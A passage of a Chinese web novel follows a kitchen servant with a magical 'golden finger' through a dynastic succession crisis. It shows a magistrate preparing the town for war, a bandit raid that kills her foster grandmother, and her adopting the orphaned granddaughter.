梅玉儿若被邓慧买去,倒算一桩好事,不至于流落腌臜之地。
至于其他的,她同情不来。人类的喜怒哀乐,本就各不相通。
即将入冬的一个阴雨天,叶清辞亲自监斩处决人犯。菜市口人头滚滚,还杀了几名趁乱滋事,伤人性命、掠夺百姓财物的流民。
苏蓉没去看,罗碧珠兴冲冲去了。回来时兴致勃勃,绘声绘色给苏蓉讲见闻,让苏蓉身临其境。
没想到这么文静的一个人,还有如此八卦的时候。
从罗碧珠眉飞色舞的讲述中,可以看出大家对作恶多端的一帮酷吏贪官、梅主簿等人仇恨有多深。
罗碧珠等人提到叶清辞,会变得无比尊崇和感激,两眼放光。
夜里一场大雨,冲刷走菜市口街道大量的血迹。本以为是欣欣向荣的开头,不成想属于大靖朝灾难,才刚刚降临。
黎明时分,一骑快马驰入宜阳县,奔进县衙,送来八百里加急。
皇帝驾崩!
太子景渊过于悲痛,突发恶疾薨。三皇子景远登基,改年号为承熙。
新帝传旨,二皇子不得离开自己封地,四皇子在外戍边,也不得擅离军营。
叶清辞捧着哀诏的双手,微微发抖,闭目流下两行清泪。
虽然被贬谪到这小小的宜阳县来,远离故乡。但他是天子门生,陛下御笔朱批钦点的探花郎!
陛下还私下承诺过他,只要在宜阳县做出成绩,就可以升调回京。
他来宜阳县为避祸、避嫌,而惜才的陛下,等不到他回京。连素来交好的太子殿下,韶光正好,也莫名追随陛下离世。
燕彬跌坐在椅子上,反复喃喃一句。
“怎么会?怎么会?”
傅振眼圈泛红看着两人,想说什么,又忍住没说。
良久,叶清辞手撑桌案起身,无力地道:“传令下去,在县衙内外搭灵棚,供奉先帝牌位和哀诏。全体官吏士绅及百姓,素服哀悼二十七日吧!” “燕彬你协助我主持丧仪。傅振,你带人加强巡逻治安,务必防范谣言传播,盗匪趁乱活动!”
“是!”
两人齐齐抱拳答应。没有主见之时,叶清辞就是他们的主见。
第86章 她原来长这样
苏蓉换上一身缟素,头缠孝带,暂时被借调回厨房工作。
虽说叶清辞带头茹素,但每天来去这么多悼念的人要吃饭,维持秩序和布置灵堂的人要吃饭,厨房的杂役们恨不得化身三头六臂,忙不过来。
最难过的是,干如此繁重的体力活,平日饭菜里还见不到半点油荤。
叶清辞等官员的伤心,是真情真意的。但天高皇帝远,老百姓没觉得皇帝换了个人当,对他们有什么影响。
说句不好听的,叶清辞倘若过世,他们都会哭得震天响。而皇帝……是减老百姓的苛捐杂税了,还是免老百姓的徭役了?
都没有。
那伤心什么?
他们只会觉得二十七日不分昼夜、每家每户必须去参加哭灵仪式,禁止民间一切嫁娶庆典,甚至不准屠宰猪羊导致市集无肉可买卖,十分麻烦。
空地临时搭了几口土灶,熬煮菜粥杂粮粥。苏蓉埋头清理堆积如山的蔬菜,想着一个关键问题。
这么巧合,皇帝一死,本该顺位继承的太子,就跟着突发恶疾没了?登基的不是二皇子,而是三皇子?
二皇子有封地,四皇子戍边,所以恰好留在京里的三皇子捡落地桃子。
诡异的是,新帝还严禁二皇子、四皇子回京悼念。父子人伦,就这么给自家二哥四弟生生掐没了!
当然,这些疑惑她埋藏心底,对谁也不敢说。
不过她不敢说,有的是人畅所欲言。
残冬腊月,刚结束声势浩大二十七天的祭奠活动,一道檄文,连同各处散发的传单、流言,敲碎宜阳县宁静。
二皇子偕同四皇子,悍然举兵,打着讨逆弑君、匡扶社稷的口号,号召各郡县附庸,诛国贼,以安九庙。
苏蓉将晚餐送进正屋,正见叶清辞愤怒地将一卷竹檄,重重砸在案头,对两旁在座的燕彬和傅振道。
“这种时候强敌环伺,四皇子弃边关不顾,率军攻打三皇子。是想让乌蛮人趁势突破关卡,南下入侵中原吗?”
“独夫之心,豺狼之性!”
苏蓉从没见叶清辞这么疾言厉色过,不觉进屋的脚步放轻,从食盒中拿出一盘盘饭菜小心翼翼。
燕彬等苏蓉摆好饭菜行礼退出去,方开口:“大人,二皇子四皇子合兵,声势浩大,周边一些郡县已表明态度,依附支持。咱们该怎么办?”
叶清辞沉着脸。
他自然不愿与二皇子四皇子同流合污。
但现在继位的三皇子,同样名不正言不顺,极可能是害死太子景渊的真凶。他恨不得亲手诛杀而后快,也不愿效忠于对方。
“咱们不如先静观其变!”
傅振看着两人脸色。
“大人,四皇子擅离职守,边关岌岌可危。为宜阳县的老百姓,您可不能任性辞官。而是要率领军民做好战斗准备,以应付即将到来的危机!”
燕彬微微讶异,没想到平时只知吃鸡,吊儿郎当的同伴,能有这般见识!
叶清辞同意傅振这个观点。面含悲伤,点头道:“当初殿下劝说陛下,将我调任宜阳县,也有这个防范于未然的意思。”
宜阳县虽不富裕,却属于军事重镇,南来北往的必经之路。而且周围毗邻高山大河,外有几座大城为屏障,退可守,进可攻。 太子景渊深谋远虑,可惜莫名被“恶疾突发”薨逝了。他心内一阵茫然,不知将来该为谁尽忠?听到傅振提到宜阳百姓,才清醒过来。
作为一方父母官,保护治下百姓天经地义。至于局势会怎样演变,走一步看一步吧。
燕彬和傅振两人劝说叶清辞坐下来吃饭。三人一边吃,一边商讨怎么回复二皇子四皇子派来的使者。
直接打回去肯定不行,若有一天二皇子四皇子带兵攻打到这里,倒霉的是百姓。二皇子有城府,四皇子身为武将暴戾,可不会对无辜心慈手软。
当然逢迎也不行。
心里过不去那道坎!
况且三皇子继任,名不正言不顺。他们窝了团火,想将其拉下马。只是拉下来后又让谁上去,是个问题。
算来算去,最后遭殃的仍是被内乱波及的百姓。
“当务之急,我们应该积极厉兵秣马,应付乌蛮人可能趁势突破边关,南下侵略中原的局面!”
叶清辞刚做出决定,门外曾嬷嬷来禀报:“大人,郑校尉来访!”
三人对视一眼。
说曹操,曹操就到。
叶清辞虽是县令,但郑校尉作为当地驻军首领,不配合叶清辞开展工作,这宜阳县他们控制不了。
郑校尉在这种关键时刻到来,肯定有自己的见解。
罗碧珠今日放闲,曾嬷嬷转头叫来苏蓉,帮忙收拾干净桌子。苏蓉提着装有残羹剩饭的食盒,退出门正见傅振引着几名全副披挂的武将进来。
为首者五旬左右,一把胡子花白,挺着大肚子,显得精神矍铄。后面尾随金竹海。
别说,这人渣一身戎装,加上生得牛高马大,看上去蛮有一番气势。
现在世道将乱,如金竹海之流武将,势必受到重用。想想真是心有不甘。
不过,她有金手指在,所惧何来?
金竹海看到迎面而来的苏蓉,目光微闪。
已经很久没有见过这位前妻了!今日骤然一眼,差点没认出来?
人圆润不少,穿着身合体干净的棉衣。皮肤不再是黝黑粗糙的,小麦色泛着健康红润的光。发髻梳得整齐,眼睛大而明亮。
即便不施脂粉,浑身上下也透着股岁月静好的韵味。仿佛梅花青涩的蓓蕾,终于在寒风料峭的枝头悄悄绽放,散发属于独自的幽香。
他一时间不免发愣。
苏氏原来长这样的?
以前在他面前,总低着头蜷缩一团。本就瘦干的身板,像只小老鼠似,惹他十分厌烦。
他看也不屑多看一眼,别说抱她了。此刻,他突然发现她的五官,竟然称得上精致美丽!
原来以前只是太小,没长开吗?
郑校尉也注意到苏蓉。
目光在苏蓉脸上和胸前停留一息。随即意识到县署內宅这下人好生大胆,竟然见到自己没有行礼,高昂着头擦身而过。 他不满地轻哼一声。
寻思这丫头难不成是叶县令身边的贴身丫鬟,否则怎会如此没礼节呢?
转头见下属金竹海也看愣住了,不由地瞪过去一眼。
他们来此,可是有重大公事的,岂能因一个下人影响思绪!
第87章 非常时期
叶清辞迎出门,与郑校尉寒暄两句,将郑校尉一行让进正屋花厅。
见傅振、燕彬没有回避的意思,郑校尉知道这两人是叶清辞心腹,没有必要回避。便大咧咧坐下,直奔主题。
“叶大人,二皇子、四皇子送来的檄文,你看过了吧?”
叶清辞点头。
“正待去找郑大人商议。”
“那么,请问叶大人是如何打算的?”
郑校尉是个武夫,不耐烦拐弯抹角,开门见山。
“二皇子与四皇子合兵,声势巨大。各郡县纷纷倒戈,附庸两位皇子。只怕京师兵力难以弹压?”
闻弦歌知雅意。
叶清辞听出郑校尉意思,面色立时沉下:“郑校尉之意,想效仿投效反贼的其他郡县,向二皇子和四皇子献降书?”
“这怎么能叫投效反贼呢?”
来之前,郑校尉已和驻军所其他同僚,商量妥打算。此刻厚着脸皮道:“先帝与太子薨逝,三皇子无凭无诏,仓促继位。他未必就正统?”
“我等身为人臣,应审时度势,为大靖朝和无辜百姓考虑才是。”
“难不成……”
他话锋一转:“叶大人能眼睁睁看着宜阳县,卷入战火纷飞中不成?
叶清辞没有回答。
郑校尉更进一步:“今晨本将与手下弟兄们商议此事,大家都觉得应该随大流,接引二皇子、四皇子大军过境。”
“论长幼有序,二皇子是中宫嫡子,名正言顺。论实力,二皇子割据一方,还有长期镇守边关的四皇子辅佐。”
郑校尉自认苦口婆心,劝导叶清辞。
“宜阳不过是个小县,驻军连上县衙兵力,千人左右。我们应当良禽择木而栖!”
叶清辞手按桌案,指节微微发白:“郑大人图谋,岽州季中郎将知道吗?宜阳县归属岽州,何去何从,本官也要请示岽州苗知府后,才能做决定!”
郑校尉面上干笑,内心暗骂叶清辞死脑筋。
非常时期用非常手段!
就是要趁着时机好的时候为二皇子霸业雪中送炭。等大事既定,三皇子穷途末路,他们才去锦上添花,二皇子能记得住小小宜阳县?
到时从龙之功也落入他人手!
叶清辞自己胆小怕事,连累他人龟缩宜阳县,只能坐等二皇子大军兵临城下!
“那就容后再议吧!”
郑校尉带着金竹海,拂袖离去。叶清辞原本想和他商讨县城布防练兵问题,不得不把话头吞回肚里。
“大人,这郑校尉有异心,不得不防!”
相形野心勃勃的二皇子、四皇子,燕彬宁可信已经在京城登上皇位的三皇子。 不说别的,单四皇子抽调镇守边关的大部分兵力,助二皇子杀奔京城。完全不顾大靖朝国门将失守,危及大靖疆土,这一做法便令人不齿!
倘若乌蛮人顺势南下,大靖因之覆灭,二皇子、四皇子是千古罪人!
为一己之私置国家利益不顾,这种利欲熏心的恶徒,即使最后坐上那把宝座,也不会成为明君。
倒不如一开始就让他覆灭好!
叶清辞摸着自己下巴。
“先派人往岽州苗知府、季中郎将处送信,顺便查探各郡县情况。再让斥候盯住二皇子、四皇子大军动静。此外……”
他压低声音,傅振、燕彬两人会意向他靠近。
“傅振,你负责监视驻军所。郑校尉等人一有风吹草动,立刻回来报我!”
“燕彬,你带领一队信得过的人马,趁秋收,去乡下各处悄悄收购粮食。”
缴税那点公粮,迎接可能到来的大战,杯水车薪,远远不够!他要未雨绸缪,做好最坏打算。
随着日子一天天过去,风雨欲来的趋势,越演越烈。在厨房,甚至从罗碧珠、曾嬷嬷脸上口中,苏蓉能隐隐嗅到不安的气息。
罗碧珠悄悄对苏蓉说了真心话。
“我要辞工回村。男人当差走不了,但他想把婆婆、还有我们娘仨送回乡下……至少战乱时,我们能带着孩子和粮食躲进大山里!”
苏蓉惴惴不安。
众人害怕的情绪,不可避免影响到她。
最近张记炊香阁生意越来越差,大家都打着逃跑念头,哪来心思来买包子吃?
只是她犹豫不决。
到底逃回村安全,还是将方婆婆祖孙接来,留在城里安全呢?
城里至少有叶清辞。
她相信他一定有所建树,不会轻易让宜阳县陷入危险中的?
作为一个雇工,她只能从叶清辞等人越来越严峻的脸色,外面甚嚣尘上的各种流言,判断时局不稳。
米价肉价,不断上涨,一天一个样。甚至有时拿钱,买不到吃的。
自从街道上出现白日明目张胆抢劫的事后,张如英害怕,和苏蓉商量,给项大婶结清工钱,让她和男人孩子回乡,自己关门歇业。
每天没事,就将店里剩下的粮做成糗粮,悄悄埋在苏蓉家里的地窖藏起来。
这种将谷物炒熟磨成粉,加水和油脂捏成团块,晒干后保存,过很久也能食用。
至于为什么藏苏蓉家里,因为张记炊香阁是卖吃食的。一旦世道混乱,大多数人会优先考虑抢这类店铺。
而苏蓉家徒四壁,只有最简单的桌椅床板,一看就很穷。除了那口老井,真没什么值得多嘱目的。
以后两人住在一起,也多个照应。
发现县城开始有不受控制的动向,叶清辞当机立断,抓一些趁火打劫的,乱世用重典,斩首街头示众!
此举成功给予一些蠢蠢欲动的人警告。 随着时间推移,连续有几座城镇因没有及时依附二皇子四皇子,被二皇子四皇子所率大军夷为平地,官员百姓全体罹难,人心又恐慌起来。
物价混乱,有能耐的举家逃难,迁徙到更內腹的城镇。
伴随周边城镇陆续插上代表二皇子封地的藩王旗,宜阳县逐渐暴露在敌军视野下,成为外围前线城镇。
罗碧珠早两天辞工,带着婆婆孩子回了乡下。厨房杂役同样走得七七八八,只有姜厨娘、曾嬷嬷少数人坚守岗位。
离开县衙,孤家寡人的她们也去不了哪里。外面乱成一团,相形倒是衙门更安全。
张如英催了几次,让苏蓉辞工。
因为她觉得苏蓉留在县衙,代表一种站位。若敌军攻至破城,第一个目标便是县衙。苏蓉能幸免于难吗?
苏蓉苦苦坚持。
一个人干几个人活儿。
叶大人是好官,爱民如子。她怎能在这个时候抛下他,看着他寝食难安,连催他吃饭的人也没有了呢?
第88章 危急时刻
这段时间她住在县署內宅里。
反正张记炊香阁关门歇业,集市萧条得很。张如英像只勤劳的蚂蚁,忙忙碌碌搬家,想尽办法采购食物藏在家里。
还收拾出两个包裹。
将房契、银子与一些干粮药物衣裳打包,若有意外,马上能走人。
苏蓉寻思方婆婆祖孙不必接进城了。有个风吹草动,正好她和张如英逃亡乡下。再不济,还能逃亡深山。她有金手指,一点不畏惧猛兽。
倒是人更可怕。
深夜苏蓉睡得迷迷糊糊的时候,听到有人啪啪拍门。先以为做梦,及至那敲门声越来越响而急促,她一下子惊醒,从床上翻身坐起来。
“苏娘子!”
叶清辞压低声音呼唤。
苏蓉慌忙理理睡得略微蓬松的发髻,下床蹬上鞋子。这段日子,为应付越来越紧张的局势,她都是和衣而眠。
开门一看,只见叶清辞和傅振一身灰黑色劲衣,携带兵器站在外面。
她顿时一阵发懵。
不等发问,叶清辞直接塞了个小包裹到她怀中,面色严峻:“苏娘子,县城不可久留,我让傅振送你回乡下,你先在那里躲藏一段时间!”
一瞬间,听到这话的苏蓉心中,涌出莫大惊喜和暖流!
危急时刻,叶清辞不但第一时间想到她,还给她安排好后路。这是不是代表……她在他心目中有所不同?
否则,他为什么不去关注曾嬷嬷、姜厨娘等人呢?
见她没说话,叶清辞以为她在迟疑,狠下决心悄声道:“不久前得到消息,奉仓城已降。没有奉仓城为屏障,二皇子和四皇子下一个目标,可能是我们宜阳县。”
“不日即将大乱,我先送你出城,方好心安!”
“大人……”
苏蓉想说,我愿意陪你一起留下。然而话到口边,她寻思自己有什么资格说这句话?叶清辞并没表示,自己是他的谁?
倘若只是对她的一种同情,一种可怜,她自作多情,岂不贻笑大方?
“快啊,苏娘子!”
傅振瞅她踌躇不决模样,有点急眼,忍不住拉她一把。
“大人很快会遣散县衙里大部分杂役。你无依无靠,大人才想到先一步送走你。别多想了快去收拾行李。你们留在这里,只会拖我们后腿!”
一听这话,苏蓉脑子里的迤逦念头,瞬间没了。
向着叶清辞敛衽一礼:“多谢大人关怀,我这就去收拾行礼。”
她没什么好东西。进屋揣好钱袋,打包一件放在县署內宅准备换洗的衣物,就能走人了。值钱的都在家里放着,张如英帮忙看守。
临别,她忍不住多看叶清辞一眼。
“大人……请您自己以后也多保重!”
守城是县令职责义务,她没资格没理由与他并肩作战。何况,不知道叶清辞到底是何打算,准备怎样面对二皇子、四皇子的军队。 她先苟起来,看事态发展再决定要不要出手吧。
叶清辞对她点了点头,目送两人背影,消失在黎明的曙色里。
其实苏蓉并不知道一件事:叶清辞确实会安排县衙能走的杂役离开。但真正亲自安排妥出路、尽力保证其安全的,只有苏蓉一个。
叶清辞看苏蓉的眼神,傅振大大咧咧没注意。若燕彬在此,定能察觉出异样。
后角门停着一辆马车,青色帷布,将马车内挡得密不透风。
傅振兼职车夫,对苏蓉道:“我先送你回家收拾东西。大件别要了,只拿细软之物,别耽搁时间!”
苏蓉没有二话直接点头。
逃命关头,自然该舍的得舍,房子在这里搬又搬不走。何况她内心乱糟糟的,各种想法纷至沓来。
只觉得自己需得尽快赶到丰定村,与方婆婆祖孙团聚后再考虑下一步。而傅振,也能及时赶回城保护叶清辞。
她的金手指,撒豆成兵一人勉能自保。倘若面对千军万马,硬要留下,那是给叶清辞拖后腿。
只望叶清辞顺应形势,别与二皇子大军硬杠。小小宜阳县,死守纯粹玉石俱焚!
不过,叶清辞当真归顺二皇子、四皇子,回头三皇子势大出兵征讨,叶清辞又该怎么办?夹心饼干,两头受气。最怕是都不讨好。
叶清辞处境艰难。
傅振把马车赶得很顺,很快来到苏蓉家门口。
此时左邻向婶子家房门紧紧关闭,右邻也没听见书生读书。不知是不是随大流已经逃出城了。
张如英这两日吃没吃好,睡没睡好,顶着两个黑眼圈在院子里汲水。见马车停在门口,苏蓉和傅振下来,连忙打开院门迎出来。
傅振自然认识张如英。
他负责情报工作,加上喜欢美食,算是张记炊香阁的常客。苏蓉与张如英合伙开店的事,别人不清楚,他门清。
连两人缴纳保护费,借衙门的势,叶清辞也睁眼闭眼。还让他暗中多关照。
不然,张记炊香阁这家新店,哪这么容易立住脚跟。
苏蓉将叶清辞的安排告诉给张如英。张如英长久在大户人家为奴,自然比一般人有远见。
二话不说,立即回屋拿出两个大包,给苏蓉一个,扛上车。
傅振征询两人意见。
“我送你们去丰定村?那里环境苏娘子熟悉。若有什么意外,可以第一时间逃进山躲藏起来!”
苏蓉道:“行,我们先住方婆婆家。”
有了规划,傅振放心地将马车赶出城。
一路遇见零星逃难的百姓拖家带口。没钱的推板车,上面绑满山高行李。有钱的坐骡车马车,还有成群家丁护卫。
大约没得到确实消息,逃难的只有少数有远见、有能力的人。毕竟背井离乡,需要莫大勇气和财力。
看着这些人,苏蓉和张如英心头,蒙上厚厚一层阴影。
张如英庆幸苏蓉在县令大人心目中终究是不同的,还派人送她们出城。苏蓉想的则是以叶清辞的身份,最终能不能活下来? 傅振甩动马鞭,将车赶得飞起。渐至丰定村时,原本寥寥无几的行人,突然多起来。而且都是朝反方向奔跑,连哭带喊,与他们马车擦身而过。
连哭带喊?
三人不由得对这些逃难百姓注目起来?
哭什么?喊什么?
之前虽在逃难,不是好好的吗?怎么突然混乱、闹起来了?
第89章 妮儿……
傅振把马车停在路边,跳下车,一把揪住跑过去的一名男子。
“大哥,你们乱糟糟跑什么,前面发生了什么事?”
“有人喊一群流民在丰定村烧杀抢掠,我也不知道是不是真的?”
男子挣扎着拉出自己手,面色发白道:“反正,丰定村不能再去了,你们趁早也赶紧回头吧!”
傅振松手,看着对方一溜烟跑掉了。
苏蓉听到这话,如五雷轰顶,焦灼不堪。立即想要跳下马车:“你们掉头回城,我要去找方婆婆和小兰!”
再危险,她不能弃方婆婆祖孙不顾。
这对祖孙对她而言,如同在这个世界的亲人!
张如英一把拽住她:“苏丫头,你一个人去找死吗?”
没听说强盗趁火打劫,烧杀抢掠村子?苏蓉现在去,若那些人若没走,不正好送羊入虎口!
傅振把苏蓉推回马车,皱紧眉头。
“下车做什么?好好呆在车上!大人还坐镇宜阳县呢,我倒要瞧瞧,什么样的强盗敢如此胆大包天,洗劫百姓!”
说完,跳上车快马加鞭,躲开沿途逃难百姓,直奔丰定村。
张如英抱着苏蓉,抓紧身边弹跳个不停的包袱,面色发青。
暗想这位傅大人是真鲁莽啊!不帮她劝说苏丫头别去冒险,反而用实际行动表示支持?就他一个人,加上她们两个累赘,能打过大群流民吗?
苏蓉没做声,悄悄从身上摸出几粒豆子,捏在手心。
傅振和张如英跟着,自然不好明面召唤甲兵。但真到危急关头,便顾不上许多了!
尚未靠近丰定村,只见村子上空浓烟滚滚,哭喊震天。傅振把马车赶进一处低洼地,借茂盛的草木隐藏。皱眉对苏蓉二人开口。
“你们在这里等着,我先去看看怎么回事?”
说完,直接飞掠而去。
苏蓉也想下车,但胳膊被张如英抓得死紧。尽管心焦如焚,只能忍耐住等傅振回来。
片刻,傅振跑回来。
“烧杀抢掠的流民们已经离开了,你们跟我进村!”
两人急忙背着包裹下车。傅振一边扶她们下车,一边内心纠结。
看样子把苏娘子送回丰定村,并不是个好主意。光顾着可能到来的二皇子、四皇子大军,其他危险照旧存在。
之前大人为解决宜阳县城治安问题,四门戒严,禁止流民入城。加上一场市集暴乱,又撵出逃走不少。
这伙流民聚在一起,不事生产坐等官府解决问题。有那穷凶极恶的,便臭味相投聚在一起,落草为寇洗劫附近村庄,让老百姓遭殃。
现在大人全力守城,驻军所郑校尉又不配合,可能没有余力保护周边村庄。
苏娘子这时候回村,真是时机不对!
苏蓉不知道他想什么,三步并着两步,朝村里狂跑。 沿途见丰定村大多数房屋起火,连蒲里正家也没有逃过被洗劫命运。幸存的村民们从废墟里抢救物资,扑在亲人的尸体上哭嚎不已。
三人心情沉重,尤其苏蓉情绪更是复杂。
她不喜欢丰定村势利冷漠的村民。
但看见他们遭受灭顶之灾,甚至看见蒲里正和几个儿子身首异处,魏氏带着媳妇孩子抱着尸体呼天抢地时,她没有幸灾乐祸。
只觉心头沉甸甸的。
都是为了活下去。
但人类会为了自己活下去活得更好,残酷对待同类。
面对天灾人祸,本身就是受害者的流民,选择欺凌比自己更弱小的存在。
蒲里正家男丁多都是这幅惨景,不敢想象方婆婆祖孙一老一少,会遭遇什么?
她恨不得一步跨到方家。
远远地,发现方婆婆家同样没有幸免,茅草房顶烧塌半边,黑烟滚滚,她心跳出了嗓子眼。
边跑边喊:“方婆婆!小兰!”
傅振和张如英见那房子兀自火光熊熊,怕她贸然冲进火场,一左一右,死死抓住她手臂。
现场浓烟滚滚,呛得人窒息。灼热火光扑到人脸上,不一会儿汗流浃背。
围绕燃烧倒塌的茅草屋狂奔半圈,没有寻觅到方婆婆祖孙踪迹,苏蓉止不住泪水涌出眼眶,心往下沉。
蓦地,在她声斯歇底的呼唤声中,一道声音,如同天籁般回应了她。
“苏姨,我在这里!”
三人惊喜回头,只见一条小身影从路边草丛中蹿出来,连滚带爬,扑进苏蓉怀里。二话不说,抱住她放声大哭。
苏蓉手指微微战栗,拂去对方满头满身的灰土和草屑。从那张被烟熏火燎的脸、一双圆溜溜眼睛,辨认出果然是小兰,顿时紧紧将之拥抱。
小兰明显吓坏了。无论傅振和张如英怎么问,缩在苏蓉怀里,只知道哭。直到苏蓉惊魂未定抓住她肩膀,把人从怀里拽出来。
“小兰,你奶呢?”
方小兰哭得直抽抽,拉住她的手,把她带往自己之前躲藏的地方。
当苏蓉看到平躺在草丛中,浑身是血的方婆婆,心凉了半截!扑到方婆婆身边,伸出自己双手,竟不知从哪里下手扶起老人才好。
“苏姨……昨夜来了好多人……他们疯了似砸开我们的房门。抢我们的粮食,抢我们的钱……”
方小兰抹着眼泪,断断续续叙说。
“奶带我追出门,他们便拿刀砍她……后来,又放把火烧我们的房子……”
方小兰哭了一夜,眼睛肿成核桃,里面射出仇恨的光。若不是奶奶挣扎着,把她压在身子底下,死死捂住她的嘴,那些人同样不会放过她。
奶奶的血流在她脸上,她能清晰感觉到奶奶的身体,由温热转冷……
傅振把方婆婆的脉搏,又掀开方婆婆眼皮看了看,对满脸希冀的苏蓉,默默摇头。一时间,苏蓉泪流满面。
傅振在方婆婆身上的穴位按捺两下,轻声道:“有什么话,简明扼要说吧。” 方婆婆吐出几口瘀血,慢慢睁开眼睛。看看苏蓉,又看看身旁的孙女,两行浑浊的老泪,滚出眼角。
“婆婆……”
苏蓉紧紧抓住她的手,未开言,喉头堵得说不出话来。
“妮儿……”
方婆婆喃喃。
一声称呼,令苏蓉瞬间泪奔,哭出声来。
这声亲昵的称呼,来自长辈的关怀,自老人离去,不知这世间以后还会有谁会这般呼唤她?
第90章 临终托孤
方婆婆手上全是血,看着她的眼睛,有留恋,有感激,还有某种说不出的愧疚。
“妮儿……小……兰……”
她努力牵住小兰的手,往苏蓉手中送。只一个动作,苏蓉就明白了!一把将方小兰搂进怀里,坚定地开口。
“婆婆,你放心!小兰交给我,我一定将她养育成人,看着她嫁人生子。”
方婆婆微微点头,眼里脸上,全是欣慰。
她转而看向方小兰,用仅存不多的力气蠕动唇瓣。
“跪下!小兰……叫……姐姐!”
“扑通!”
方小兰面朝苏蓉,头碰在地上,扎实磕了个响头下去。苏蓉伸手去拉,方小兰呜咽,执拗连磕三个响头,才叫出一声。
“姐姐!”
随后爬回方婆婆身边,哭着握住她另一只手。
大家要俯身静听,才能听见方婆婆越来越微弱的声音。
“妮儿……婆婆对不起你……”
改称呼,认姐姐,是不想因为方小兰,带累苏蓉难以再嫁。
愧疚的是,就算认了姐妹,带着小兰这个累赘,最终还是会影响苏蓉再嫁。
苏蓉紧紧握住方婆婆渐渐冰冷的手,泣不成声。
她多想告诉这位善良的老人,她一点不介意这辈子能不能嫁出去?可是,老人走得匆匆,根本来不及听到这句心声。
如果她没有多犹豫,早早回村就好了!
她去渴望一份不可能拥有的感情,而错失了身边已拥有的亲情。
张如英从行李中掏出一个干饼子,连同装水的竹筒一并递给方小兰,摸摸她的头,劝慰苏蓉。
“苏丫头,人死不能复生,先料理老人后事吧。”
傅振同样不好受。
“苏娘子,丰定村不可久留,看起来城外比城内更乱。安葬好方婆婆,我还是先带你们回城吧?”
苏蓉闭上眼,痛苦地点了个头。
丰定村死的人太多了,根本请不到帮忙办白事的人。
最后还是傅振找了工具回来,苏蓉和张如英捡来一块烧半截的草席,几块布,将就挖坑把方婆婆包着下葬。
墓碑是一块门板,用烧黑的木炭在上面写上方婆婆籍贯姓氏,落款孝女苏蓉方小兰。
一切弄妥,差不多是第二天黄昏。傅振不敢耽搁,连夜赶马车将三人带回城。
听了傅振的回报,叶清辞沉默良久。
不是他不关注城外流民日益聚集滋事,祸害周边百姓的行为。而是郑校尉与他政见不和,故意拿捏住兵权,逼他就范。 短时间能保住宜阳县就不错了,哪还有能力顾得上周边小村庄。
思索一会,让苏蓉三人先回家,他会派人先去丰定村了解情况。
趁火打劫的流民,不是不追究,而是记在本上,先把最大的危机应付过去再追究。
怕小兰过不去这道坎,苏蓉每晚陪着小兰睡,白天不让小兰离了视线。
初到新家,小兰畏手畏脚,唯恐惹苏蓉不开心,抢着做活儿。惹得张如英对这小人儿,起了大大的同情心。
苏蓉摸着小兰头道:“我是你姐姐,你是我妹妹,这里是你的家,你就是这家小主人!想做什么想说什么,不用看谁眼色。”
她点点小兰的翘鼻头,为放松心情特别开了句玩笑。
“就算姐姐做得不好,你也可以哭,可以闹!我托傅大人把你名字写在我户籍上,从今后,咱们就是官府承认的一家人。”
方小兰破涕为笑,转瞬抱住她,又痛痛快快大哭一场。自此以后,越发粘着苏蓉,姐妹俩感情突飞猛进。
隔了几天,衙门颁布新的政令,号召县城里富户出钱出粮,没钱没粮的穷户出力,在城外搭善棚、施粥。
因为二皇子、四皇子与效忠三皇子的地方军队开战,陆续有周边群众逃难。
这些流民在宜阳县外越聚越多,想方设法入城。放任不管的话,丰定村的悲剧还会上演。
故而,叶清辞选择开仓放粮。同时号召城里有能力有见识的人,站出来救助百姓。
倾巢之下无完卵。
苏蓉与张如英商量,也捐了一袋子口粮。两人轮番加入大户人家组织的队伍,报名当杂工,去城外施粥。
一来官府会把她们的善行记录在功德簿上;二来常去城外走动,多知道些城外最新消息也好。
现在城中戒严,各大米肆商行受到严格管控。每家每户允许购买最低额度的粮食。想要更多,钱多不好使。
苏蓉庆幸之前让张如英囤积大量糗粮,她们短时间内不至于缺粮。而且,加入施粥队伍还能额外带份吃食回来,这同样能掩人耳目。
施粥做善事,这种沽名钓誉的事,自然少不了邓家。
加入施粥队伍的第三天,苏蓉恰巧被分配到南门外帮忙。这里十几家富户搭设粥棚,其中就有邓教谕家。
苏蓉走到一家粥棚打下手劈柴生火,尽量背对邓家人,避免被认出来多惹是非。乱世当头,低调为上。
正忙碌着,忽然后背被人轻轻一拍,吓她一跳!回头发现是金冬梅,松了口气。
见她眼睛四处瞧,金冬梅蹲下来帮她捡劈得四散的碎木块:“蓉姐姐,只有我在,他们没来!”
大户人家施粥队伍,主子管事负责操勺人前露脸,接受流民们千恩万谢感激。下人们捡些轻省工作,例如熬粥维持秩序。
苏蓉这种外来的,只能干粗活累活。
苏蓉累得没心思多解释,抹把额头汗继续埋头干活,只轻轻对金冬梅说了一声。
“冬梅,看到你没事,太好了!”
金冬梅眼圈微红。
捡了会柴火方道:“我家被流民抢了,还放火一把烧了。好在二嫂身边有几个下人,护着我们逃了出来。如今借住在二嫂的娘家。”
苏蓉劈柴动作微一顿。 暗想这老金氏和金安福混不吝。住进邓家,见到邓家过的富贵日子,舍得再离开邓家吗?
邓家这是引狼入室啊!
她抱着吃瓜心态,没让金冬梅看出自己内心活动。
装作不经意地发问:“在邓家住得惯吗?寄人篱下,你一个姑娘家别掺和别人家事。”
金冬梅自然听得出她的弦外之音,烦恼叹口气。
“我自然明白。可刚去二嫂娘家住一晚,娘就冲邓家那陶姨娘,发了好大通火,说对方有意怠慢,差点闹到邓教谕那里去。”
第91章 能不能救她自己
她二嫂非但不劝,还带着二哥躲自己娘院子去了。
现在邓家下人给她们娘俩送馊食。没办法,她才主动出来,加入官府组织的施粥队挣份粮食。
二哥一门心思扑在二嫂身上,言听计从。
她娘蠢不自知,还妄想拿捏住二嫂。结果二嫂表面不说什么,内心有数。转头就把她们晾在杂院。
邓宅这光景,不知能住多久?
金冬梅陪着苏蓉干会活,倾述番苦闷,怕自家队长看不见自己,给她记缺勤,又溜了回去。
苏蓉不停劈柴,劈了一上午柴。累得肩膀酸疼,汗流浃背。终于熬到晌午后,领完粥的流民们逐渐散去。
管事用大勺子敲着锅沿,招呼大家排队领饭。
虽然不如领头人吃的,帮工们好歹有一碗比流民们更稠的粥,还给配上小撮咸菜。下午收工,再加两斤杂粮米。
平常这待遇狗都不干。非常时期能找到这份工,全靠苏蓉与衙门有关系。否则城中这么多人,轮得到苏蓉和张如英来做?
苏蓉端着碗,用筷子将咸菜搅散,然后“咕嘟咕嘟”,几口喝光碗里粥。肚里火烧火燎的感觉,缓解那么几分。
